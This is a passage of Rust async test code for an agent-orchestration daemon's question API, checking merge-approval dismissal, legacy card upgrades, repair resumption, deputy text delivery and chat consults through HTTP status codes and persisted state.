10675            head: "old-reviewed-head".into(),
10676        });
10677        // The old persisted PR may still say open even when a separate change
10678        // already landed. Dismissal must not use that snapshot to close it.
10679        state.save_under(fx.home.path()).unwrap();
10680        let stale_driver = state.clone();
10681        fx.questions().put(&mut q).unwrap();
10682        let path = fx
10683            .home
10684            .path()
10685            .join("questions")
10686            .join(format!("{}.json", q.id));
10687        let mut legacy = serde_json::to_value(&q).unwrap();
10688        legacy["schema"] = 9.into();
10689        legacy.as_object_mut().unwrap().remove("merge_target");
10690        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10691
10692        // POST without GET tests legacy upgrade and validation at the actual
10693        // entry point, rather than constructing a modern card in the test.
10694        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10695        let answer_path = format!("/api/questions/{}/answer", q.id);
10696        let res = fx.post(&answer_path, Some(&body)).await;
10697        assert_eq!(res.status, 200, "{}", res.body);
10698        let disk = fx.questions().get(&q.id).unwrap();
10699        assert_eq!(
10700            disk.resolution().as_deref(),
10701            Some(crate::merge_decision::DISMISS)
10702        );
10703        assert!(disk.detail.starts_with("Original review evidence"));
10704        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10705        assert_eq!(retired.status, RunStatus::Superseded);
10706        assert_eq!(
10707            serde_json::to_value(&retired.pr).unwrap(),
10708            serde_json::to_value(&state.pr).unwrap()
10709        );
10710        assert!(!retired.merge_decision.as_ref().unwrap().closed);
10711        assert!(!crate::merge_decision::resumable_hold(&retired));
10712        assert!(fx.queue().list().is_empty());
10713        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10714        // A restarted server re-reads the persisted pending list.
10715        let addr = Fixture::serve(
10716            fx.home.path(),
10717            PathBuf::from("/repo/magi"),
10718            launch_idle,
10719            None,
10720        )
10721        .await;
10722        let reconnected = Fixture {
10723            home: fx.home,
10724            addr,
10725        };
10726        let listed = reconnected.get("/api/questions").await.json();
10727        assert!(
10728            listed
10729                .as_array()
10730                .unwrap()
10731                .iter()
10732                .all(|q| q["status"] != "open")
10733        );
10734        assert_eq!(listed[0]["id"], q.id, "history remains available");
10735        assert_eq!(
10736            reconnected.get("/api/health").await.json()["questions_open"],
10737            0
10738        );
10739        assert_eq!(
10740            reconnected
10741                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10742                .await
10743                .status,
10744            409
10745        );
10746        // A late waiter cannot turn the old answer into a new decision.
10747        assert!(
10748            reconnected
10749                .questions()
10750                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10751                .is_err()
10752        );
10753        // The same guard used by claims, repair and publication rejects a
10754        // saved in-memory driver as well as the persisted terminal record.
10755        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10756    }
10757
10758    #[tokio::test]
10759    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10760        let fx = Fixture::start().await;
10761        let mut state = obsolete_approval_state();
10762        state.status = RunStatus::Landing;
10763        state.driver_exited = true;
10764        let mut q = Question::new(
10765            state.id.clone(),
10766            crate::land::APPROVAL_NODE.into(),
10767            "land".into(),
10768            "Obsolete approval".into(),
10769            String::new(),
10770            vec!["merge".into(), "hold".into()],
10771        );
10772        state.land_approval = Some(crate::run::LandApproval {
10773            question: q.id.clone(),
10774            head: "head".into(),
10775        });
10776        state.save_under(fx.home.path()).unwrap();
10777        fx.questions().put(&mut q).unwrap();
10778        let mut task = Task::new(
10779            "Owner".into(),
10780            "Original instruction".into(),
10781            state.repo.clone(),
10782            Source::Human,
10783        );
10784        task.runs = vec![state.id.clone(), "later-run".into()];
10785        fx.queue().put(&mut task).unwrap();
10786        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10787        let claim = fx.queue().claim(&task.id).unwrap();
10788        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10789        let path = format!("/api/questions/{}/answer", q.id);
10790        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10791        assert!(fx.questions().get(&q.id).unwrap().status.open());
10792        drop(claim);
10793        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10794        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10795        assert!(fx.questions().get(&q.id).unwrap().status.open());
10796        drop(publication);
10797        // Unknown liveness and armed auto-merge both fail without settling.
10798        state.driver_exited = false;
10799        state.driver_pid = None;
10800        state.save_under(fx.home.path()).unwrap();
10801        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10802        state.driver_exited = true;
10803        state.land_armed_head = Some("head".into());
10804        state.save_under(fx.home.path()).unwrap();
10805        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10806        state.land_armed_head = None;
10807        state.save_under(fx.home.path()).unwrap();
10808        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10809        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10810        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10811    }
10812
10813    #[tokio::test]
10814    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10815        let fx = Fixture::start().await;
10816        let mut state = obsolete_approval_state();
10817        state.status = RunStatus::Landing;
10818        state.driver_exited = true;
10819        let mut q = Question::new(
10820            state.id.clone(),
10821            crate::land::APPROVAL_NODE.into(),
10822            "land".into(),
10823            "Obsolete approval".into(),
10824            String::new(),
10825            vec!["merge".into(), "hold".into()],
10826        );
10827        state.land_approval = Some(crate::run::LandApproval {
10828            question: q.id.clone(),
10829            head: "head".into(),
10830        });
10831        state.save_under(fx.home.path()).unwrap();
10832        fx.questions().put(&mut q).unwrap();
10833        let mut task = Task::new(
10834            "Owner".into(),
10835            "Original instruction".into(),
10836            state.repo.clone(),
10837            Source::Human,
10838        );
10839        task.runs.push(state.id.clone());
10840        task.status = TaskStatus::Parked;
10841        fx.queue().put(&mut task).unwrap();
10842        // Model a crash after the run stop was persisted but before the queue
10843        // and answered question were flushed. Retrying must finish, not resume.
10844        state.merge_decision = Some(crate::merge_decision::Decision {
10845            question: q.id.clone(),
10846            target: crate::merge_decision::Target {
10847                pr: state.pr.as_ref().unwrap().url.clone(),
10848                head: "head".into(),
10849                language: "ja".into(),
10850            },
10851            choice: crate::merge_decision::DISMISS.into(),
10852            closed: false,
10853            replacement_run: None,
10854            replacement_pr: None,
10855        });
10856        state.status = RunStatus::Superseded;
10857        state.save_under(fx.home.path()).unwrap();
10858        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10859        let path = format!("/api/questions/{}/answer", q.id);
10860        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10861        let done = fx.queue().get(&task.id).unwrap();
10862        assert_eq!(done.status, TaskStatus::Done);
10863        assert_eq!(done.runs, task.runs);
10864        assert_eq!(done.instruction, task.instruction);
10865        assert!(done.action_applied(&q.id));
10866        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10867        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10868        assert!(!fx.questions().get(&q.id).unwrap().status.open());
10869    }
10870
10871    #[tokio::test]
10872    async fn merge_decision_api_persists_exact_target_and_selected_action() {
10873        let fx = Fixture {
10874            home: TempDir::new().unwrap(),
10875            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10876        };
10877        for choice in [
10878            crate::land::HOLD,
10879            crate::land::REPAIR,
10880            crate::land::APPROVE,
10881            crate::merge_decision::WITHDRAW,
10882            "reimplement:beta",
10883        ] {
10884            let mut q = Question::new(
10885                "old-run".into(),
10886                crate::land::APPROVAL_NODE.into(),
10887                "land".into(),
10888                "Decision".into(),
10889                "Review findings".into(),
10890                vec![
10891                    "merge".into(),
10892                    "hold".into(),
10893                    crate::land::REPAIR.into(),
10894                    crate::merge_decision::WITHDRAW.into(),
10895                    "reimplement:beta".into(),
10896                ],
10897            );
10898            q.merge_target = Some(crate::merge_decision::Target {
10899                pr: "https://github.com/example/repo/pull/42".into(),
10900                head: "exact-reviewed-head".into(),
10901                language: "ja".into(),
10902            });
10903            q.consult = Some(ask::ChatConsult {
10904                talk: "another-conversation".into(),
10905                at: jiff::Timestamp::now(),
10906            });
10907            fx.questions().put(&mut q).unwrap();
10908            let ui = Arc::new(Ui::new(
10909                fx.queue(),
10910                fx.questions(),
10911                fx.talks(),
10912                fx.runs(),
10913                fx.home.path().into(),
10914                std::path::PathBuf::from("."),
10915            ));
10916            let response = question_answer(
10917                State(ui.clone()),
10918                Path(q.id.clone()),
10919                Ok(Json(NewAnswer {
10920                    choice: Some(choice.into()),
10921                    text: None,
10922                })),
10923            )
10924            .await
10925            .unwrap();
10926            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10927            let disk = fx.questions().get(&q.id).unwrap();
10928            assert_eq!(disk.merge_target, q.merge_target);
10929            assert_eq!(disk.consult, q.consult);
10930            assert!(
10931                disk.answer_authority.is_none(),
10932                "a direct owner card is its own decision"
10933            );
10934            assert_eq!(disk.resolution().as_deref(), Some(choice));
10935            assert!(
10936                question_answer(
10937                    State(ui),
10938                    Path(q.id.clone()),
10939                    Ok(Json(NewAnswer {
10940                        choice: Some("merge".into()),
10941                        text: None
10942                    }))
10943                )
10944                .await
10945                .is_err(),
10946                "an already settled decision cannot turn into merge approval"
10947            );
10948        }
10949    }
10950
10951    #[tokio::test]
10952    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10953        let fx = Fixture {
10954            home: TempDir::new().unwrap(),
10955            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10956        };
10957        let mut state = crate::land::tests::repair_state(true, true);
10958        state.status = RunStatus::Landing;
10959        state.parked = true;
10960        state.driver_exited = true;
10961        let mut task = Task::new(
10962            "Existing PR owner".into(),
10963            state.instruction.clone(),
10964            state.repo.clone(),
10965            Source::Human,
10966        );
10967        task.runs.push(state.id.clone());
10968        task.status = TaskStatus::Parked;
10969        fx.queue().put(&mut task).unwrap();
10970        let mut q = Question::new(
10971            state.id.clone(),
10972            crate::land::APPROVAL_NODE.into(),
10973            "land".into(),
10974            "Contested merge".into(),
10975            "Original evidence".into(),
10976            vec!["merge".into(), "hold".into()],
10977        );
10978        state.land_approval = Some(crate::run::LandApproval {
10979            question: q.id.clone(),
10980            head: "reviewed-head".into(),
10981        });
10982        state.save_under(fx.home.path()).unwrap();
10983        fx.questions().put(&mut q).unwrap();
10984        // A later repair answer on this old card supersedes this manual hold.
10985        task.hold_manual(Some("Pause this PR".into()));
10986        fx.queue().put(&mut task).unwrap();
10987        // POST directly, without a preceding GET: validation must see the
10988        // same durable upgrade that the card, CLI and chat see.
10989        let ui = Arc::new(Ui::new(
10990            fx.queue(),
10991            fx.questions(),
10992            fx.talks(),
10993            fx.runs(),
10994            fx.home.path().to_path_buf(),
10995            state.repo.clone(),
10996        ));
10997        let response = question_answer(
10998            State(ui),
10999            Path(q.id.clone()),
11000            Ok(Json(NewAnswer {
11001                choice: Some(crate::land::REPAIR.into()),
11002                text: None,
11003            })),
11004        )
11005        .await
11006        .unwrap();
11007        assert_eq!(response.0.question.id, q.id);
11008        let upgraded = fx.questions().get(&q.id).unwrap();
11009        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11010        assert!(upgraded.detail.starts_with("Original evidence"));
11011        let claim = fx.queue().claim(&task.id).unwrap();
11012        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11013        assert!(
11014            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11015            "an existing driver keeps its claim"
11016        );
11017        drop(claim);
11018        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11019        let resumed = fx.queue().get(&task.id).unwrap();
11020        assert_eq!(
11021            resumed
11022                .resume_override
11023                .as_ref()
11024                .unwrap()
11025                .pinned_run
11026                .as_deref(),
11027            Some(state.id.as_str())
11028        );
11029        assert!(resumed.status.runnable());
11030        assert_eq!(resumed.instruction, task.instruction);
11031        assert_eq!(resumed.runs, task.runs);
11032        assert!(resumed.action_applied(&q.id));
11033        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11034        assert_eq!(fx.queue().list().len(), 1);
11035        assert_eq!(
11036            fx.queue().get(&task.id).unwrap().resume_override,
11037            resumed.resume_override
11038        );
11039        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11040        assert!(
11041            disk.merge_repairs.is_empty(),
11042            "only the claimed run driver may execute repair"
11043        );
11044        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11045    }
11046
11047    #[tokio::test]
11048    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11049        let fx = Fixture::start().await;
11050        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11051        let path = format!("/api/questions/{id}/answer");
11052
11053        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11054        assert_eq!(res.status, 200, "{}", res.body);
11055        let body = res.json();
11056        assert_eq!(body["status"], "answered");
11057        assert_eq!(body["answer"]["choice"], "Redis");
11058
11059        // Answered from the terminal in between the list and the tap: the UI
11060        // must be able to tell this from a bad request, so it can show the
11061        // recorded answer instead of an error.
11062        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11063        assert_eq!(again.status, 409, "{}", again.body);
11064        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11065    }
11066
11067    #[tokio::test]
11068    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11069        let home = tempfile::tempdir().unwrap();
11070        let ui = delta_test_ui(home.path());
11071        let mut q = Question::new(
11072            "task".into(),
11073            crate::land::APPROVAL_NODE.into(),
11074            "land".into(),
11075            "Explain?".into(),
11076            String::new(),
11077            vec!["hold".into()],
11078        );
11079        q.deputy = Some(ask::Deputy::new("context".into()));
11080        ui.questions.put(&mut q).unwrap();
11081        let mut cfg = stub_config();
11082        cfg.daemon.max_deputies = 0;
11083        let mut status = crate::daemon::Status::new();
11084        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11085        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11086        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11087        let error = question_say(
11088            State(ui.clone()),
11089            Path(q.id.clone()),
11090            Ok(Json(NewSay {
11091                body: "Explain the findings".into(),
11092            })),
11093        )
11094        .await
11095        .unwrap_err();
11096        assert_eq!(
11097            error.text_reason,
11098            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11099        );
11100        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11101
11102        let mut text = Question::new(
11103            "task".into(),
11104            "ask".into(),
11105            "operator".into(),
11106            "Which name?".into(),
11107            String::new(),
11108            vec![],
11109        );
11110        ui.questions.put(&mut text).unwrap();
11111        let Json(view) = question_answer(
11112            State(ui.clone()),
11113            Path(text.id.clone()),
11114            Ok(Json(NewAnswer {
11115                choice: None,
11116                text: Some("chosen name".into()),
11117            })),
11118        )
11119        .await
11120        .unwrap();
11121        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11122        assert!(!ui.questions.get(&text.id).unwrap().status.open());
11123    }
11124
11125    #[tokio::test]
11126    async fn question_text_handler_admission_without_transport() {
11127        let home = tempfile::tempdir().unwrap();
11128        let ui = delta_test_ui(home.path());
11129        let mut q = Question::new(
11130            "task".into(),
11131            crate::land::APPROVAL_NODE.into(),
11132            "land".into(),
11133            "May this PR merge?".into(),
11134            String::new(),
11135            vec!["hold".into()],
11136        );
11137        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11138        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11139        ui.questions.put(&mut q).unwrap();
11140        let say = || {
11141            Ok(Json(NewSay {
11142                body: "Explain the findings".into(),
11143            }))
11144        };
11145        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11146            .await
11147            .unwrap_err();
11148        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11149        let response = rejected.into_response();
11150        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11151            .await
11152            .unwrap();
11153        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11154        assert_eq!(body["code"], "question_text_unavailable");
11155        assert_eq!(body["reason"], "deputy_exhausted");
11156        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11157        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11158        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11159        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11160            .await
11161            .unwrap();
11162        assert_eq!(view.text_delivery.state, "live");
11163        assert!(view.question.waiter.is_none());
11164        assert!(view.question.cwd.is_none());
11165        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11166        ui.questions.drop_lease(&q.id);
11167        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11168            .await
11169            .unwrap_err();
11170        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11171        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11172        let _ = question_answer(
11173            State(ui.clone()),
11174            Path(q.id.clone()),
11175            Ok(Json(NewAnswer {
11176                choice: Some("hold".into()),
11177                text: None,
11178            })),
11179        )
11180        .await
11181        .unwrap();
11182        assert_eq!(
11183            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11184            Some("hold")
11185        );
11186    }
11187
11188    #[tokio::test]
11189    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
11190        let fx = Fixture::start().await;
11191        let store = fx.questions();
11192        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
11193        store
11194            .update(&id, |q| {
11195                q.node = crate::land::APPROVAL_NODE.to_owned();
11196                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
11197                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11198                Ok(())
11199            })
11200            .unwrap();
11201        let path = format!("/api/questions/{id}/say");
11202        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11203        assert_eq!(refused.status, 422, "{}", refused.body);
11204        assert!(
11205            refused.json()["error"]
11206                .as_str()
11207                .unwrap()
11208                .contains("deputy_exhausted")
11209        );
11210        assert!(store.get(&id).unwrap().thread.is_empty());
11211
11212        // A final live deputy is usable even with no ordinary waiter/cwd.
11213        store.beat(&id, ask::WaiterKind::Deputy);
11214        let view = fx.get("/api/questions").await.json();
11215        assert_eq!(view[0]["text_delivery"]["state"], "live");
11216        let accepted = fx
11217            .post(&path, Some(r#"{"body":"explain the findings"}"#))
11218            .await;
11219        assert_eq!(accepted.status, 200, "{}", accepted.body);
11220        let before = std::fs::read(store.path_of(&id)).unwrap();
11221
11222        // The recipient exits between rendering and sending. Rejection must
11223        // preserve previously accepted text, the answer and delivery cursor.
11224        store.drop_lease(&id);
11225        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11226        assert_eq!(refused.status, 422, "{}", refused.body);
11227        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11228        let held = fx
11229            .post(
11230                &format!("/api/questions/{id}/answer"),
11231                Some(r#"{"choice":"hold"}"#),
11232            )
11233            .await;
11234        assert_eq!(held.status, 200, "{}", held.body);
11235        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
11236    }
11237
11238    #[tokio::test]
11239    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
11240        let repo = tempfile::tempdir().unwrap();
11241        let mut cfg = stub_config();
11242        cfg.daemon.max_deputies = 0;
11243        std::fs::write(
11244            repo.path().join("magi.toml"),
11245            toml::to_string(&cfg).unwrap(),
11246        )
11247        .unwrap();
11248        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11249        let mut status = crate::daemon::Status::new();
11250        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11251        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
11252        let id = ask(&fx, "Explain?", &["hold"]);
11253        fx.questions()
11254            .update(&id, |q| {
11255                q.node = crate::land::APPROVAL_NODE.into();
11256                q.deputy = Some(ask::Deputy::new("context".into()));
11257                q.deputy.as_mut().unwrap().agent = "stub".into();
11258                Ok(())
11259            })
11260            .unwrap();
11261        cfg.daemon.max_deputies = 1;
11262        std::fs::write(
11263            repo.path().join("magi.toml"),
11264            toml::to_string(&cfg).unwrap(),
11265        )
11266        .unwrap();
11267        let view = fx.get("/api/questions").await.json();
11268        assert_eq!(view[0]["deputies_enabled"], true);
11269        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11270        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11271        let res = fx
11272            .post(
11273                &format!("/api/questions/{id}/say"),
11274                Some(r#"{"body":"Please explain"}"#),
11275            )
11276            .await;
11277        assert_eq!(res.status, 422, "{}", res.body);
11278        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11279    }
11280
11281    #[tokio::test]
11282    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11283        let fx = Fixture::start().await;
11284        let id = ask(&fx, "No seat", &[]);
11285        let store = fx.questions();
11286        let before = std::fs::read(store.path_of(&id)).unwrap();
11287        let res = fx
11288            .post(
11289                &format!("/api/questions/{id}/say"),
11290                Some(r#"{"body":"hello"}"#),
11291            )
11292            .await;
11293        assert_eq!(res.status, 422, "{}", res.body);
11294        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11295        let res = fx
11296            .post(
11297                &format!("/api/questions/{id}/answer"),
11298                Some(r#"{"text":"hello"}"#),
11299            )
11300            .await;
11301        assert_eq!(res.status, 200, "{}", res.body);
11302        assert_eq!(
11303            store.get(&id).unwrap().resolution().as_deref(),
11304            Some("hello")
11305        );
11306    }
11307
11308    #[tokio::test]
11309    async fn saying_something_appends_a_turn_without_answering() {
11310        let fx = Fixture::start().await;
11311        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11312        fx.questions().beat(&id, ask::WaiterKind::Asker);
11313        let path = format!("/api/questions/{id}/say");
11314
11315        let res = fx
11316            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11317            .await;
11318        assert_eq!(res.status, 200, "{}", res.body);
11319        let body = res.json();
11320        assert_eq!(body["status"], "open", "talking back is not a decision");
11321        assert_eq!(body["answer"], Value::Null);
11322        assert_eq!(body["thread"][0]["who"], "operator");
11323        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11324        assert_eq!(body["waiting_on_agent"], true);
11325        // Still open, still counted, still exactly one question.
11326        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11327    }
11328
11329    #[tokio::test]
11330    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11331        let fx = Fixture::start().await;
11332        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11333
11334        let list = fx.get("/api/questions").await.json();
11335        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11336
11337        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11338        assert_eq!(res.status, 409, "{}", res.body);
11339        let q = fx.questions().get(&id).unwrap();
11340        assert!(q.status.open());
11341        assert!(q.consult.is_none());
11342    }
11343
11344    #[tokio::test]
11345    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11346        let fx = Fixture::start().await;
11347        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11348        let cfg = Config {
11349            agents: vec![crate::config::AgentSpec {
11350                id: "mock".to_owned(),
11351                kind: crate::config::AgentKind::Command,
11352                model: None,
11353                command: vec!["true".to_owned()],
11354                extra_args: Vec::new(),
11355                env: Default::default(),
11356                prompt_delivery: None,
11357            }],
11358            ..Config::default()
11359        };
11360        let talk = crate::talk::begin(
11361            &fx.talks(),
11362            &cfg,
11363            fx.home.path().to_path_buf(),
11364            Some("mock"),
11365        )
11366        .unwrap();
11367        let mut task = Task::new(
11368            "t".to_owned(),
11369            "Do it".to_owned(),
11370            PathBuf::from("/repo/magi"),
11371            Source::Agent {
11372                run: talk.id.clone(),
11373                node: crate::queue::CHAT_NODE.to_owned(),
11374            },
11375        );
11376        task.start("20260902-000000-beef".to_owned());
11377        fx.queue().put(&mut task).unwrap();
11378
11379        let list = fx.get("/api/questions").await.json();
11380        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11381        assert_eq!(
11382            list[0]["choices"],
11383            serde_json::json!(["SQLite", "Redis"]),
11384            "the hand-over is never a choice"
11385        );
11386        fx.questions()
11387            .update(&id, |q| {
11388                q.node = crate::land::APPROVAL_NODE.into();
11389                q.choices = vec!["merge".into(), "hold".into()];
11390                Ok(())
11391            })
11392            .unwrap();
11393        let list = fx.get("/api/questions").await.json();
11394        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11395        assert_eq!(list[0]["can_consult_chat"], true);
11396        fx.questions()
11397            .update(&id, |q| {
11398                q.node = crate::bump::NOTICE_NODE.into();
11399                Ok(())
11400            })
11401            .unwrap();
11402        let list = fx.get("/api/questions").await.json();
11403        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11404        assert_eq!(list[0]["can_consult_chat"], false);
11405    }
11406
11407    #[tokio::test]
11408    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11409        let fx = Fixture::start().await;
11410        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11411        fx.questions()
11412            .update(&id, |q| {
11413                q.node = crate::land::APPROVAL_NODE.into();
11414                q.choices = vec!["merge".into(), "hold".into()];
11415                Ok(())
11416            })
11417            .unwrap();
11418        let cfg = Config {
11419            agents: vec![crate::config::AgentSpec {
11420                id: "mock".to_owned(),
11421                kind: crate::config::AgentKind::Command,
11422                model: None,
11423                command: vec!["true".to_owned()],
11424                extra_args: Vec::new(),
11425                env: Default::default(),
11426                prompt_delivery: None,
11427            }],
11428            ..Config::default()
11429        };
11430        // Not a git working tree, so its `magi.toml` is read from disk.
11431        let repo = fx.home.path().join("chat-repo");
11432        std::fs::create_dir_all(&repo).unwrap();
11433        let toml = repo.join("magi.toml");
11434        std::fs::write(&toml, "this is = = not toml").unwrap();
11435        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11436        let mut task = Task::new(
11437            "t".to_owned(),
11438            "Do it".to_owned(),
11439            PathBuf::from("/repo/magi"),
11440            Source::Agent {
11441                run: talk.id.clone(),
11442                node: crate::queue::CHAT_NODE.to_owned(),
11443            },
11444        );
11445        task.start("20260902-000000-beef".to_owned());
11446        fx.queue().put(&mut task).unwrap();
11447
11448        let path = format!("/api/questions/{id}/consult");
11449        let res = fx.post(&path, None).await;
11450        assert!(res.status >= 400, "{}", res.body);
11451        assert!(fx.questions().get(&id).unwrap().consult.is_none());
11452        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11453
11454        std::fs::write(&toml, "").unwrap();
11455        let res = fx.post(&path, None).await;
11456        assert_eq!(res.status, 202, "{}", res.body);
11457        assert!(fx.questions().get(&id).unwrap().consult.is_some());
11458        let q = fx.questions().get(&id).unwrap();
11459        assert!(q.status.open());
11460        assert!(q.answer.is_none());
11461        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11462        assert_eq!(res.json()["can_consult_chat"], true);
11463        let list = fx.get("/api/questions").await.json();
11464        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11465        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11466
11467        let res = fx
11468            .post(
11469                &format!("/api/questions/{id}/answer"),
11470                Some(r#"{"choice":"hold"}"#),
11471            )
11472            .await;
11473        assert_eq!(res.status, 200, "{}", res.body);
11474        assert_eq!(res.json()["answer"]["choice"], "hold");
11475        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11476        assert_eq!(res.json()["can_consult_chat"], false);
11477        assert_eq!(fx.post(&path, None).await.status, 409);
11478
11479        let mut talk = fx.talks().get(&talk.id).unwrap();
11480        crate::talk::close(&mut talk, &fx.talks()).unwrap();
11481        let list = fx.get("/api/questions").await.json();
11482        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11483        assert_eq!(list[0]["origin_chat_closed"], true);
11484        assert_eq!(list[0]["can_consult_chat"], false);
11485
11486        fx.talks().remove(&talk.id).unwrap();
11487        let list = fx.get("/api/questions").await.json();
11488        assert_eq!(list[0]["origin_chat"], Value::Null);
11489        assert_eq!(list[0]["origin_chat_closed"], false);
11490        assert_eq!(list[0]["can_consult_chat"], false);
11491    }
11492
11493    #[tokio::test]
11494    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11495        let fx = Fixture::start().await;
11496        let store = fx.questions();
11497        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11498        store.beat(&id, ask::WaiterKind::Asker);
11499        assert_eq!(
11500            fx.get("/api/health").await.json()["questions_needs_owner"],
11501            1
11502        );
11503
11504        // The owner asks back instead of deciding: the ask bar, the nav badge
11505        // and the title must stop naming this question, because there is
11506        // nothing to decide until the agent answers - `status` alone cannot
11507        // say that, which is the whole reason `questions_needs_owner` exists
11508        // alongside `questions_open`.
11509        let res = fx
11510            .post(
11511                &format!("/api/questions/{id}/say"),
11512                Some(r#"{"body":"why not Postgres?"}"#),
11513            )
11514            .await;
11515        assert_eq!(res.status, 200, "{}", res.body);
11516        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11517        assert_eq!(
11518            fx.get("/api/health").await.json()["questions_needs_owner"],
11519            0,
11520            "waiting on the agent is not waiting on the owner"
11521        );
11522
11523        // `magi ask --thread` replying is what brings the owner count back -
11524        // the same event that would resume the CLI call blocked in `magi
